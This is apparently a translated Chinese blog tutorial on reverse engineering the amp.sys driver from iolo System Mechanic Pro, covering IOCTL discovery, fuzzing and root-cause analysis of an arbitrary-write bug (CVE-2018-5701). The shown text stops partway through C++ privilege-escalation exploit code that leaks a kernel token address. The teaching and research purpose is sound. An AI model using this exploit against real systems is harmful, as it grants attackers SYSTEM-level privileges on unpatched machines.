前段时间,我们(last & VoidSec)学习了Windows内核漏洞的利用的相关内容,知道了内核空间的主要概念以及各种防御机制的绕过和利用技术。在本文中,我们将为读者详细介绍,如何在对一个驱动程序的内部情况毫不了解的情况下,通过逆向分析来挖掘和利用其中的安全漏洞。
Windows驱动程序简介
在对驱动程序本身通过逆向分析寻找其中的安全漏洞之前,我们首先要了解什么是驱动程序,以及它们是如何工作的。在Windows系统中,驱动程序本质上就是一些可加载的模块,其中包含了当某些事件发生时将在内核的上下文中执行的相关代码。这些事件可能是需要操作系统处理某些事情的中断或进程;内核会处理这些中断,并通过执行适当的驱动程序来满足这些请求。简单来说,我们可以把驱动程序看作是某种内核端的DLL。事实上,驱动程序被Process Explorer列为系统进程(PID为4的那个进程)内部的已加载模块。
DriverEntry
接下来,让我们来考察一下驱动程序的结构。就像大多数代码一样,驱动程序也有一个“main”函数,即DriverEntry。在微软官方文档中,这个函数的定义如下所示:
NTSTATUS DriverEntry( _In_ PDRIVER_OBJECT DriverObject, _In_ PUNICODE_STRING RegistryPath );
首先,大家千万不要被SAL注释(参数前的_In_)吓倒了,它只是表示:这两个参数应该是传递给DriverEntry函数的输入参数。其中,参数DriverObject表示一个指向DRIVER_OBJECT数据结构的指针,并且这个数据结构中存放着驱动程序本身的信息;对于这一点,我们稍后将详细加以介绍。另外,参数RegistryPath是一个指向UNICODE_STRING结构体(这是一个包含UTF-16字符串和一些其他控制信息的结构体)的指针,该结构体含有驱动程序映像的注册表路径(内核通过该位置来加载驱动程序代码的.sys文件)。
设备与符号链接
对于一个驱动程序来说,为了允许从用户模式访问它,必须创建一个设备和一个符号链接(也就是symlink),以使它能被标准用户进程所访问。实际上,设备就是让进程与驱动程序进行交互的接口,而符号链接则是我们在调用Win32函数时可以使用的设备名称(即别名)。
那么,符号链接有没有喜闻乐见的例子呢?实际上,C:\就是一个存储设备的符号链接。如果您不相信的话,可以使用Sysinternals的工具WinObj亲自验证一下:切换至根命名空间下的GLOBAL??目录,然后寻找C:,看看它的类型到底是不是符号链接。
实际上,驱动程序是使用IoCreateDevice和IoCreateSymbolicLink来创建设备和符号链接的。在对一个驱动程序进行逆向分析时,如果发现这两个函数被连续调用的时候,就可以确定当前看到的是驱动程序实例化设备和符号链接的代码。在大多数情况下,这种情况只发生一次,因为大多数驱动程序只会“暴露”一个设备。
通常情况下,设备名称的格式为\Device\VulnerableDevice;而符号链接的格式则为\\.\VulnerableDeviceSymlink。
现在,我们已经介绍了驱动程序的“前端”,下面让我们来讨论其“后端”:调度例程(dispatch routines)。
调度例程
驱动程序会根据其暴露的设备上被调用的功能来执行不同的操作(也就是函数/例程)。换句话说,当我们对相应的设备调用WriteFile API时驱动程序的行为,与我们调用ReadFile或DeviceIoControl API时的行为是不同的。这种行为是由驱动程序开发人员通过DriverObject结构体的MajorFunctions成员来进行控制的。实际上,成员MajorFunctions就是一个函数指针数组。
像WriteFile、ReadFile或DeviceIoControl这样的API在MajorFunctions数组里面都有一个相应的索引,这样的话,在API函数被调用时,实际上就会调用相关的函数指针。
此外,还有一些宏可以帮助我们记住相关的索引,例如:
· IRP_MJ_CREATE是在调用CreateFile这个API时驱动程序将要调用的函数的指针的索引;
· IRP_MJ_READ是与ReadFile等函数相关的索引。
· IRP_MJ_DEVICE_CONTROL与DeviceIoControl相对应的索引。
假设一个驱动程序开发人员定义了一个名为“MyDriverRead”的函数,以便进程调用驱动程序的设备上的ReadFile API时,能够调用这个函数。那么,他必须在DriverEntry函数(或者在被它调用的函数)中添加如下所示的代码:
DriverObject->MajorFunctions[IRP_MJ_READ] = MyDriverRead;
有了这个声明,驱动程序开发人员就可以确保每次在该驱动程序的设备上调用ReadFile API时,驱动程序的代码都会调用“MyDriverRead”函数。像这样的函数被称为调度例程。
您可能会问:这与我们的逆向分析有关么?答案是肯定的。因为MajorFunctions是一个长度有限的数组,所以,我们可以分配给驱动程序的调度例程也是受限的。当开发人员想要突破这个限制时,该怎么办呢?这时,用户模式函数DeviceIoControl就会派上用场了。
DEVICEIOCONTROL & IOCTL代码
在MajorFunctions数组里面有一个特殊的索引,它定义为IRP_MJ_DEVICE_CONTROL。在这个索引对应的数组元素中存储的是在驱动程序的设备上调用DeviceIoControl API后被调用的调度例程的函数指针。这个函数非常重要,因为它的一个参数是一个32位的整数,通常称为IOCTL(I/O Control,IOCTL)代码。这个IOCTL代码将传递给驱动程序,以便让驱动程序根据DeviceIoControl传递给它的不同IOCTL代码来执行不同的动作。本质上讲,位于索引IRP_MJ_DEVICE_CONTROL处的调度例程,其代码大体上就是一个switch语句:
switch(IOCTL) { case 0xDEADBEEF: DoThis(); break; case 0xC0FFEE; DoThat(); break; case 0x600DBABE; DoElse(); break; }
通过这种方式,开发人员就可以根据进程发送的不同IOCTL代码,使其驱动程序调用不同的函数。
这一点非常重要,因为对驱动进行逆向工程时,这种“代码指纹”不仅易于寻找,而且还很容易找到。一旦知道了哪个IOCTL代码通向哪个代码路径,就可以更轻松地对驱动程序进行相应的分析和模糊测试,从而更好地发掘驱动程序内部的安全漏洞。
通过逆向分析查找IOCTL代码
在对驱动程序进行逆向分析时,我们要做的第一件事情,就是找到它用来通信的IOCTL代码和设备名称(symlink)。
在我们的例子中,目标程序是:iolo - System Mechanic Pro v.15.5.0.61 (amp.sys)
安装程序后,我们可以利用WinObj工具来查找设备名称和权限了,具体如下所示:
现在,我们已经采集到了设备名称(\Device\AMP),现在是时候获取IOCTL代码了;为此,我们必须将目标驱动程序(amp.sys)加载到一个反汇编器中(我们使用的是IDA),并添加以下所需的结构体(如果缺失的话):
· DRIVER_OBJECT
· IRP
· IO_STACK_LOCATION
首先,我们来考察一下DriverEntry函数。很明显,驱动程序比我们想象的要复杂一些,我们不妨从Imports部分的IoDeviceControl API的交叉引用开始着手。
实际上,我们只有一个来自SUB_2CFE0的结果(我们随后将其重命名为DriverCreateDevice)。
现在,让我们看看下面的基本块图:
我们可以看到DeviceName已经被实例化,并且已经传递了DriverObject,这很可能就是我们要找的函数,所以,我们决定对其进行反编译处理。
通过观察MajorFunction[14](偏移量0x0e处),我们发现了驱动程序的IRP_MJ_DEVICE_CONTROL,如果存在一组系统定义的I/O控制代码(IOCTL)的话,那么驱动程序必须支持这个请求(在DispatchDeviceControl例程中)。
双击SUB_2C580并进行反编译,我们能够到达该驱动程序的IOCTL代码被定义的地方:
请大家查看下面的“RAW”反编译代码,并尝试找到IOCTL代码:
__int64 __fastcall sub_2C580(__int64 a1, IRP *a2) { BOOLEAN v3; // [rsp+20h] [rbp-38h] ULONG v4; // [rsp+24h] [rbp-34h] _IO_STACK_LOCATION *v5; // [rsp+28h] [rbp-30h] unsigned int v6; // [rsp+30h] [rbp-28h] PNAMED_PIPE_CREATE_PARAMETERS v7; // [rsp+38h] [rbp-20h] a2->IoStatus.Information = 0i64; v5 = a2->Tail.Overlay.CurrentStackLocation; if ( v5->Parameters.Read.ByteOffset.LowPart == 2252803 ) { v4 = v5->Parameters.Create.Options; v7 = v5->Parameters.CreatePipe.Parameters; v3 = IoIs32bitProcess(a2); v6 = sub_166D0(v3, v7, v4); } else { v6 = -1073741808; } a2->IoStatus.Status = v6; IofCompleteRequest(a2, 0); return v6; }
如果您无法找到它,或者您更喜欢上面代码的增强版本,请参考我们的逆向分析结果:
__int64 __fastcall Driver_IRP_MJ_DEVICE_CONTROL(DEVICE_OBJECT *DeviceObject, IRP *Irp) { __int64 result; // rax _BYTE Is32BitProcess; // [rsp+20h] [rbp-38h] _DWORD bufferSize; // [rsp+24h] [rbp-34h] _QWORD IoStackLocation; // [rsp+28h] [rbp-30h] NTSTATUS status; // [rsp+30h] [rbp-28h] _QWORD userBuffer; // [rsp+38h] [rbp-20h] _QWORD; // [rsp+68h] [rbp+10h] Irp->IoStatus.Information = 0i64; IoStackLocation = Irp->Tail.Overlay.CurrentStackLocation; if ( IoStackLocation->Parameters.Read.ByteOffset.LowPart == 0x226003 )// IOCTL Code { bufferSize = IoStackLocation->Parameters.Create.Options; userBuffer = &IoStackLocation->Parameters.CreatePipe.Parameters->NamedPipeType; Is32BitProcess = IoIs32bitProcess(Irp); status = DriverVulnerableFunction(Is32BitProcess, userBuffer, bufferSize); } else { status = 0xC0000010; // STATUS_INVALID_DEVICE_REQUEST } Irp->IoStatus.Status = status; IofCompleteRequest(Irp, 0); return (unsigned int)status; }
我们可以对IOCTL代码(0x226003)做进一步的解码,以了解内核访问随IOCTL请求传递的数据缓冲区所使用的方法。使用OSR Online IOCTL Decoder工具,我们可以获得以下信息:
实际上,METHOD_NEITHER是最不安全的一个方法,因为它可以用来访问随IOCTL请求传递的数据缓冲区。当使用这个方法时,I/O管理器不会对用户数据进行任何形式的验证,而是直接将原始数据传递给驱动程序。这确实是个好消息,因为在没有任何验证的情况下,在管理用户数据的代码中发现bug/漏洞的概率会更高。
太好了!现在,我们已经找到了IOCTL代码(0x226003)和DeviceName(\\Device\\AMP),接下来,我们就可以继续对驱动程序进行模糊测试,以寻找安全漏洞了。
进行模糊测试
在上面的逆向分析环节中,我们已经找到了IOCTL代码;接下来,我们开始通过ioctlbf对驱动程序进行模糊测试。
实际上,ioctlbf的语法非常简单。首先,我们必须通过参数-d提供相应的设备名,然后,提供要模糊测试的IOCTL代码(借助于参数-i),再后面是-u参数,意思是只对前面提供的IOCTL代码进行模糊测试(实际上,这里不需要特别指出,因为我们已经发现该驱动程序只有一个IOCTL代码)。
在启动ioctlbf之后,我们会立即(在我们的debuggee机器上)看到以下消息(amp+6c8d):
Access violation - code c0000005 (!!! second chance !!!) fffff801`3ae96c8d 488b0e mov rcx,qword ptr [rsi] PROCESS_NAME: ioctlbf.EXE READ_ADDRESS: 0000000000000000 ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_CODE_STR: c0000005 EXCEPTION_PARAMETER1: 0000000000000000 EXCEPTION_PARAMETER2: 0000000000000000 STACK_TEXT: ffff9304`c35c66e0 ffffe60b`ecd87bb0 : 00000000`00000001 00000000`00000000 fffff801`35c23f8b ffff9304`c35c6700 : amp+0x6c8d ffff9304`c35c66e8 00000000`00000001 : 00000000`00000000 fffff801`35c23f8b ffff9304`c35c6700 00000000`00000001 : 0xffffe60b`ecd87bb0 ffff9304`c35c66f0 00000000`00000000 : fffff801`35c23f8b ffff9304`c35c6700 00000000`00000001 ffffe60b`e5303c80 : 0x1
看起来,这好像是一个NULL指针解引用导致的错误消息。因此,我们决定深入逆向该驱动程序,看看为什么会发生访问违规,以及是否能够设法利用这个漏洞。
漏洞的成因分析
分析SUB_2C580函数(调度例程)
当在设备上调用DeviceIoControl API时,被调用的调度例程为函数SUB_2C580。借助于IDA Pro的反编译器,我们可以看到这个函数会接收2个参数:
1.第一个参数是指向DeviceObject(IDA将其命名为a1)的指针。
2.第二个参数是传递给设备的IRP结构体(IDA称其命名为a2)的指针。
通过IRP结构体的指针,该函数能够提取出当前的堆栈位置(_IO_STACK_LOCATION);需要说明的是,这个结构体包含了DeviceIoControl发送的内存缓冲区。同时,这个结构体被保存在局部变量v5里面。
好了,下面我们开始考察下一行(第11行),它用于对缓冲区中包含的IOCTL(位于Parameters.Read.ByteOffset.LowPart成员里面)与硬编码在驱动程序代码中的值(其十进制表示为2252803,十六进制表示为0x226003)进行比较:
上面是驱动程序调用与此特定IOCTL代码相关联的函数的代码,该函数是SUB_166D0。在跳入该函数之前,我们必须先解释一下传递给上述函数的三个参数,即v3、v7和v4:
1、v3是IoIs32BitProcess函数的返回值。这是一个简单的布尔值,用于指出调用进程是32位的(TRUE)还是64位的(FALSE)。
2、v7是指向实际用户缓冲区的指针,在本例中,它指向用户空间中的一个地址。该地址正是作为参数传递给DeviceIoControl API的那个地址。
3、v4是前面提到的缓冲区的大小。
分析SUB_166D0函数
由于这个函数比前一个函数稍微复杂一些,所以,我们不妨先来分析各个返回值,以了解代码流程和对输入所施加的各种约束。
其中,这里有5个return语句,每个语句都有一个状态码。让我们将它们转换成十六进制,具体如下所示:
1、return 0xC0000023 == STATUS_BUFFER_TOO_SMALL
2、return 0xC0000023 == STATUS_BUFFER_TOO_SMALL
3、return 0xC0000001 == STATUS_UNSUCCESSFUL
4、return 0xC000000D == STATUS_INVALID_PARAMETER
5、return 0x0 == STATUS_SUCCESS
我们可以从MSDN上找到这些状态码,并记下它们的含义。现在,我们已经知道了每个状态码的含义,接下来就可以推测每个代码块的作用了,让我们先从第一个代码块开始。
我们之前说过,参数a1是调用者传递给函数的第一个参数,并且是IoIs32BitProcess的返回值;而参数a3则是缓冲区的大小。因此,如果调用进程是32位的,则缓冲区大小必须等于或大于12字节(0xC)。
如果该进程是64位的,则缓冲区的大小必须等于或大于24个字节(0x18)。
在这两种情况下,如果缓冲区大小具有适当的长度,代码就会跳转到LABEL_6。在64位的情况下,我们通过将输入的结构体划分为3个8字节长的值来创建更多的局部变量。
v8 = *(_QWORD *)a2;
v9 = *((_QWORD *)a2 + 1);
v10 = *((_QWORD *)a2 + 2);
通过观察上面的反编译代码,我们猜测输入缓冲区一定是某种24字节长的结构,并由三个不同的8字节字段组成。我们可以看到,v8、v9以及v10是以递增的偏移量来访问输入缓冲区地址,然后对这些指针解除引用,进而获得相应的值。
注意:这是通过一些指针运算完成的。如果您对C语言比较生疏,下面的解释可以帮助您理解第25、26和27行代码的作用:
· 第25行:取a2,将其转换为指向64位值的指针(这对应于该行中的(_QWORD *)a2部分),然后,解除该指针的引用,也就是在(_QWORD *)a2前面加上一个星号*。
· 第26行:和上面一样,但在将a2转换为一个指向64位值的指针后,会先+1。这意味着我们现在正在寻找结构体中的下一个QWORD,也就是下一个由8字节组成的字段。
· 第27行:和上面类似,但是这次将跳到第3个QWORD,也就是第一个QWORD之后的16个字节直接由a2指向。
下一个代码块以LABEL_6开头:
qword_38B28定义的是一个在运行时填充的地址,其中包含一个32位的值0x00000009。我们可以用WinDbg对这个函数设置一个断点,然后,用之前找到的IOCTL代码调用DeviceIoControl API来对其进行考察。
为了能够发送任意的IOCTL请求,我们使用了一个开源软件:IOCTLpus。
IOCTLpus是由Jackson Thuraisamy开发的,但该软件的一个分叉目前是由VoidSec积极维护的。简单来说,我们可以将其视为可通过任意输入发送DeviceIoControl请求的工具(其功能与Burp Repeater有点类似)。
通过IOCTLpus执行任意的DeviceIoControl请求,并逐渐改变UserBuffer的值,我们发现这个漏洞并不是一个NULL指针解引用问题。相反,这是一个非常奇怪的ioctlbf的行为所致:将所有缓冲区的值设置为0,这使得该漏洞看起来像一个NULL指针解引用问题,而掩盖了真正的任意写入问题。
提示:在将WinDbg附加到debuggee之后,需要运行以下命令以获得驱动程序的基址:lm vm amp,然后转到IDA -> Edit -> Segments -> Rebase Program菜单,并设置当前分析的文件的基址,以便将所有地址都变成绝对地址,从而使得反编译的代码与在WinDbg中看到的内容之间具有一致性。
下面我们继续进行分析:在第34行,对qword_38B28指向的DWORD(32位值)与变量v4进行了比较。这个变量是用v8的值进行初始化的,而v8又是我们输入结构体的第一个字段的值。因此,我们发现,如果输入缓冲区的前4个字节包含一个大于或等于qword_38B28(0x00000009)所指向的32位值的值,就会导致检查失败,这样的话,该函数将返回STATUS_INVALID_PARAMETER。
如果检查成功,输入结构体的第一个字段的值将用作“switch”子句的索引。
v8 = *(_QWORD *)(qword_38B28 + 16i64 * v4 + 8);
v8 = *(_QWORD *)(9 + 16 * field1_user_buffer + 8);
您可能会问,为什么是switch语句?现在,请相信我们的话,我们将在分析SUB_16C40函数时验证这一点(它将v8的地址作为参数)。
下面是反编译后的SUB_166D0函数:
__int64 __fastcall DriverVulnerableFunction(bool BoolIs32BitProcess, unsigned int *userBuffer, unsigned int bufferSize) { unsigned int field1_32; // eax __int64 field2_32; // r8 __int64 field3_32_ptr; // rbx __int64 field1_64; // [rsp+20h] [rbp-28h] BYREF __int64 field2_64; // [rsp+28h] [rbp-20h] __int64 field3_64_ptr; // [rsp+30h] [rbp-18h] __int64 *v11; // [rsp+38h] [rbp-10h] __int64 v12; // [rsp+68h] [rbp+20h] BYREF if ( BoolIs32BitProcess ) { // 32 bit Process if ( bufferSize >= 12 ) { // Struct contaning 3 32-bits fields field1_32 = *userBuffer; // (int)userBuffer[0]; field2_32 = (int)userBuffer[1]; field3_32_ptr = (int)userBuffer[2]; goto LABEL_6; } return 0xC0000023i64; // STATUS_BUFFER_TOO_SMALL } if ( bufferSize < 24 ) // 64 bit Process return 0xC0000023i64; // STATUS_BUFFER_TOO_SMALL field1_64 = *(_QWORD *)userBuffer; // Struct contaning 3 64-bits fields field2_64 = *((_QWORD *)userBuffer + 1); field3_64_ptr = *((_QWORD *)userBuffer + 2); field3_32_ptr = field3_64_ptr; field2_32 = field2_64; field1_32 = field1_64; LABEL_6: if ( !qword_FFFFF80068928B28 ) return 0xC0000001i64; // STATUS_UNSUCCESSFUL if ( field1_32 >= *(_DWORD *)qword_FFFFF80068928B28 )// MUST BE < 9 return 0xC000000Di64; // STATUS_INVALID_PARAMETER field2_64 = field2_32; field1_64 = *(_QWORD *)(qword_FFFFF80068928B28 + 16i64 * field1_32 + 8);// jmp table (0-8) LODWORD(field3_64_ptr) = *(_DWORD *)(qword_FFFFF80068928B28 + 16i64 * field1_32 + 16);// set lower 32 bits of fields3_64 v11 = &v12; jmptable(&field1_64); // addr jmp table based if ( BoolIs32BitProcess ) *(_DWORD *)field3_32_ptr = v12; else *(_QWORD *)field3_32_ptr = v12; return 0i64; // SUCCESS }
分析SUB_16C40函数
说实话,这个函数还是让我们比较头疼的,因为反编译后的代码不仅对我们的帮助不大,甚至还有些误导作用:
void __fastcall sub_16C40(__int64 a1) { unsigned __int64 v2; // rcx __int64 v3; // rax void *v4; // rsp char vars20; // [rsp+20h] [rbp+20h] BYREF v2 = *(unsigned int *)(a1 + 16); v3 = v2; if ( v2 < 0x20 ) { v2 = 40i64; v3 = 32i64; } v4 = alloca(v2); if ( v3 - 32 > 0 ) qmemcpy(&vars20, (const void *)(*(_QWORD *)(a1 + 8) + 32i64), v3 - 32); **(_QWORD **)(a1 + 24) = (*(__int64 (__fastcall **)(_QWORD, _QWORD, _QWORD, _QWORD))a1)( **(_QWORD **)(a1 + 8), *(_QWORD *)(*(_QWORD *)(a1 + 8) + 8i64), *(_QWORD *)(*(_QWORD *)(a1 + 8) + 16i64), *(_QWORD *)(*(_QWORD *)(a1 + 8) + 24i64)); }
看了上面的代码,我们通常立即认为qmemcpy就是正确的目标函数,因为把UserBuffer的值复制到一个用户控制的位置时,可能会触发任意写入漏洞。
有了memcpy函数,我们就想当然的以为可以通过memcpy ( *destination, *source, size_t); 掌控全局;但有时只盯住一棵树反而会忽略了整篇森林。在花了我大量的时间之后,我们“猛然发现”导致访问违规的指令其实与memcpy本身毫无瓜葛,而是与memcpy之后的另一条指令有关;如果大家还记得前面的内容的话,应该知道访问违规发生在amp+6c8d处。
于是,我们重新考察“原始”的汇编代码,而不是反编译后的类似C语言的伪代码,这次事情终于有了转机:
.text:0000000000016C6A sub rsp, rcx .text:0000000000016C6D and rsp, 0FFFFFFFFFFFFFFF0h .text:0000000000016C71 lea rcx, [rax-20h] .text:0000000000016C75 test rcx, rcx .text:0000000000016C78 jle short loc_16C89 .text:0000000000016C7A mov rsi, [rbx+8] .text:0000000000016C7E lea rsi, [rsi+20h] .text:0000000000016C82 lea rdi, [rsp+var_s20] .text:0000000000016C87 rep movsb .text:0000000000016C89 .text:0000000000016C89 loc_16C89: ; CODE XREF: sub_16C40+38↑j .text:0000000000016C89 mov rsi, [rbx+8] .text:0000000000016C8D mov rcx, [rsi] .text:0000000000016C90 mov rdx, [rsi+8] .text:0000000000016C94 mov r8, [rsi+10h] .text:0000000000016C98 mov r9, [rsi+18h] .text:0000000000016C9C call qword ptr [rbx]
违规访问发生在16C8D处,对应的指令为mov rcx,[rsi],但如果仔细观察该指令前后的内容,根本就找不到对memcpy的调用,这就奇了怪了。
好吧,严格来说这也不是怪事,但我们必须再深入研究一下,才能发现IDA的行为。正如有位逆向分析高手向我们解释的那样,是movesb指令使得IDA在rep movsb将rcx字节从rsi复制到rdi时触发了qmemcpy 。
总之,通过考察mov rcx,[rsi]指令,并追溯rsi寄存器的赋值和使用情况,我们发现它的值来自于rcx寄存器:
.text:0000000000016C47 mov rbx, rcx .text:0000000000016C89 mov rsi, [rbx+8] .text:0000000000016C8D mov rcx, [rsi]
RCX寄存器(按照x86_64的快速调用惯例)用于传递函数参数(即前面的参数使用RCX、RDX、R8和R9寄存器;其余的参数通过堆栈传递)。
由于SUB_16C40只从SUB_166D0中获取一个参数(如果你还记得的话,实际上就是SUB_166D0中的v8),RCX将用于存放该参数的地址,而该地址又是从用户缓冲区(field1)中获取的。
现在很明显,由于ioctlbf将整个用户缓冲区设置为0的奇怪行为,导致了访问违规。在这种情况下,其值全部为0的第一个用户缓冲区将用来计算v8的值(v8 = *(_QWORD *)(9 + 16 * field1_user_buffer + 8);),所以,当mov rcx, [rsi]指令被执行时,rsi寄存器中保存的是一个要解除引用的、指向无效内存位置的指针。
再看往下查看原始的汇编代码,我们可以发现又准备了一个快速调用“call”来填充rcx、rdx、r8和r9寄存器:
.text:0000000000016C8D mov rcx, [rsi] .text:0000000000016C90 mov rdx, [rsi+8] .text:0000000000016C94 mov r8, [rsi+10h] .text:0000000000016C98 mov r9, [rsi+18h] .text:0000000000016C9C call qword ptr [rbx]
这里发生了一件有趣的事情:不知何故,如果RBX(或者我们以前的v8 .text:00000000016C47 mov rbx, rcx )是一个有效的内存地址,它就会被操作码call所调用。
从这里开始,IDA就作用不大了:RBX的值对IDA来说是未知的,因为它是在运行时计算出来的,所以IDA无法跟踪并反汇编上述调用的结果。
事实上,由于v8只能小于9(如SUB_166D0所示),因此表达式v8 = *(_QWORD *)(9 + 16 * field1_user_buffer + 8);的取值范围是非常有限的。
为此,我们可以用IOCTLpus生成所有的情况,然后用windbg进行跟踪,就得到了下面的列表(对应于各个switch子句):
1、sub_2CBA0
2、sub_2CB20
3、sub_2C960
4、sub_2C850
5、sub_2C7F0
6、sub_18D20
7、sub_2C510
8、sub_2C360
9、sub_2C460
分析sub_2C460函数
在以上所有函数中,sub_2C460是最有前途的,因为我们可以借助它对任意地址执行写操作,但我们却无法控制写入的值。
__int64 __fastcall jmp8(_DWORD *a1) { unsigned int v2; // [rsp+20h] [rbp-38h] v2 = 0; if ( !a1 ) // must be === 0 return 0xFFFFFFFE; sub_FFFFF800689067D0((__int64)a1, 0x2Cui64); if ( *a1 != 44i64 ) return 4; qmemcpy(a1, &unk_FFFFF80068926BA8, 0x2Cui64); return v2; }
上面的SUB_2C460函数将返回值0xFFFFFFFE,对于我们的特权升级漏洞来说,这几乎是完美的。
漏洞分析回顾
现在,我们来总结一下前面的分析结果:
· 我们发现,受我们控制的、发送给易受攻击的驱动程序的用户缓冲区是由一个24字节长的结构体组成的,可以划分为三个长度为8字节的字段。
· 第一个字段必须始终包含一个小于9的整数值(SUB_166D0),在我们的特定情况下,必须是8才能达到SUB_2C460函数。具体来说,第一个字段由包含0x00000008值的低位部分(前8个字节)组成,而高位部分可以是任何内容(因为它被用作填充之用)。
· 第二个字段必须是指向一个地址的有效指针,一旦解除引用,该地址对应的值必须为0(详见SUB_2C460函数)。
· 第三个字段应该包含SUB_2C460的返回值(0xFFFFFFFE)要写入的地址。
利用令牌特权实现LPE
您可能会奇怪,前面为什么说返回值0xFFFFFFFE简直是完美的呢?众所周知,为了成功进行权限提升,我们需要借助于其他技术,例如:
· 窃取一个SYSTEM令牌,并用它代替我们自己的进程的令牌。
· 覆盖负责保存进程令牌值的内核结构体。
现在,让我们考虑第二种情况,因为任意写入非常适合这种技术。
我们知道,Windows使用令牌对象(该对象是由nt!_TOKEN结构体表示的)来描述特定线程或进程的安全上下文。因此,系统上的每个进程都在其EPROCESS结构体中保存一个令牌对象引用,该引用在对象访问协商或系统任务赋权期间都会用到。
实际上,与特权提升相关条目是_SEP_TOKEN_PRIVILEGES,在_TOKEN结构体中的偏移量为0x40,其中存放的是令牌的特权信息:
kd> dt nt!_SEP_TOKEN_PRIVILEGES c5d39c30+40 +0x000 Present : 0x00000006`02880000 +0x008 Enabled : 0x800000 +0x010 EnabledByDefault : 0x800000
· 第一个字段Present,为一个unsigned long long值,用于表示令牌的当前特权。但是,这并不意味着这些权限已启用或禁用,而只是存在于该令牌中。创建令牌后,我们就无法为其添加特权了;相反,我们只能启用或禁用在此字段中找到的现有选项。
· 第二个字段Enabled,为一个无符号长整型值,表示令牌上所有已启用的特权。不过,必须在此位掩码中启用相应的特权才能通过SeSinglePrivilegeCheck检查。
· 最后一个字段EnabledByDefault表示令牌的初始状态。
如果用0xFFFFFFFF值覆盖Present和Enabled字段,我们就能够有效地启用位掩码中的所有位,从而启用所有特权。因此,如果能够写入一个受控的值0xFFFFFFFE,那就再好不过了。
漏洞利用
对于该漏洞的利用过程,具体如下所示:
1.打开当前的进程令牌——它被用来检索其内核空间地址。
2.使用NtQuerySystemInformation API来泄露所有带有句柄的对象的内核地址。
3.在当前进程中找到令牌句柄,并有效地绕过kASLR机制获得内核地址。
4.为易受攻击的驱动程序构建一个IOCTL请求,该请求将返回0xFFFFFFFE,并将输出缓冲区地址设置为指向令牌当前权限字段。
5.对Enabled和EnabledByDefault字段重复前面的处理方法。
6.生成一个子进程,该进程将继承由上述写操作授予的所有令牌权限
与往常一样,读者可以在下面或我的Github页面上找到具有详细注释的C++代码:
/* Exploit title: iolo System Mechanic Pro v. <= 15.5.0.61 - Arbitrary Write Local Privilege Escalation (LPE) Exploit Authors: Federico Lagrasta aka last - https://blog.notso.pro/ Paolo Stagno aka VoidSec - [email protected] - https://voidsec.com CVE: CVE-2018-5701 Date: 28/03/2021 Vendor Homepage: https://www.iolo.com/ Download: https://www.iolo.com/products/system-mechanic-ultimate-defense/ https://mega.nz/file/xJgz0QYA#zy0ynELGQG8L_VAFKQeTOK3b6hp4dka7QWKWal9Lo6E Version: v.15.5.0.61 Tested on: Windows 10 Pro x64 v.1903 Build 18362.30 Category: local exploit Platform: windows */ #include #include #include #include #include #define IOCTL_CODE 0x226003 // IOCTL_CODE value, used to reach the vulnerable function (taken from IDA) #define SystemHandleInformation 0x10 #define SystemHandleInformationSize 1024 * 1024 * 2 // define the buffer structure which will be sent to the vulnerable driver typedef struct Exploit { uint32_t Field1_1; // must be 0x8 as this index will be used to calculate the address in a jump table and trigger the vulnerable function uint32_t Field1_2; // "padding" can be anything int *Field2; // must be a pointer that, once dereferenced, cotains 0 void *Field3; // points to the adrress that will be overwritten by 0xfffffffe - Arbitrary Write }; // define a pointer to the native function 'NtQuerySystemInformation' using pNtQuerySystemInformation = NTSTATUS(WINAPI *)( ULONG SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength); // define the SYSTEM_HANDLE_TABLE_ENTRY_INFO structure typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO { USHORT UniqueProcessId; USHORT CreatorBackTraceIndex; UCHAR ObjectTypeIndex; UCHAR HandleAttributes; USHORT HandleValue; PVOID Object; ULONG GrantedAccess; } SYSTEM_HANDLE_TABLE_ENTRY_INFO, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO; // define the SYSTEM_HANDLE_INFORMATION structure typedef struct _SYSTEM_HANDLE_INFORMATION { ULONG NumberOfHandles; SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1]; } SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION; int main(int argc, char **argv) { // open a handle to the device exposed by the driver - symlink is \\.\amp HANDLE device = ::CreateFileW( L"\\\\.\\amp", GENERIC_WRITE | GENERIC_READ, NULL, nullptr, OPEN_EXISTING, NULL, NULL); if (device == INVALID_HANDLE_VALUE) { std::cout << "[!] Couldn't open handle to the System Mechanic driver. Error code: " << ::GetLastError() << std::endl; return -1; } std::cout << "[+] Opened a handle to the System Mechanic driver!\n"; // resolve the address of NtQuerySystemInformation and assign it to a function pointer pNtQuerySystemInformation NtQuerySystemInformation = (pNtQuerySystemInformation)::GetProcAddress(::LoadLibraryW(L"ntdll"), "NtQuerySystemInformation"); if (!NtQuerySystemInformation) { std::cout << "[!] Couldn't resolve NtQuerySystemInformation API. Error code: " << ::GetLastError() << std::endl; return -1; } std::cout << "[+] Resolved NtQuerySystemInformation!\n"; // open the current process token - it will be used to retrieve its kernelspace address later HANDLE currentProcess = ::GetCurrentProcess(); HANDLE currentToken = NULL; bool success = ::OpenProcessToken(currentProcess, TOKEN_ALL_ACCESS, ¤tToken); if (!success) { std::cout << "[!] Couldn't open handle to the current process token. Error code: " << ::GetLastError() << std::endl; return -1; } std::cout << "[+] Opened a handle to the current process token!\n"; // allocate space in the heap for the handle table information which will be filled by the call to 'NtQuerySystemInformation' API PSYSTEM_HANDLE_INFORMATION handleTableInformation = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(::GetProcessHeap(), HEAP_ZERO_MEMORY, SystemHandleInformationSize); // call NtQuerySystemInformation and fill the handleTableInformation structure ULONG returnLength = 0; NtQuerySystemInformation(SystemHandleInformation, handleTableInformation, SystemHandleInformationSize, &returnLength); uint64_t tokenAddress = 0; // iterate over the system's handle table and look for the handles beloging to our process for (int i = 0; i < handleTableInformation->NumberOfHandles; i++) { SYSTEM_HANDLE_TABLE_ENTRY_INFO handleInfo = (SYSTEM_HANDLE_TABLE_ENTRY_INFO)handleTableInformation->Handles[i]; // if it finds our process and the handle matches the current token handle we already opened, print it if (handleInfo.UniqueProcessId == ::GetCurrentProcessId() && handleInfo.HandleValue == (USHORT)currentToken) { tokenAddress = (uint64_t)handleInfo.Object; std::cout << "[+] Current token address in kernelspace is: 0x" << std::hex << tokenAddress << std::endl; } } // allocate a variable set to 0 int field2 = 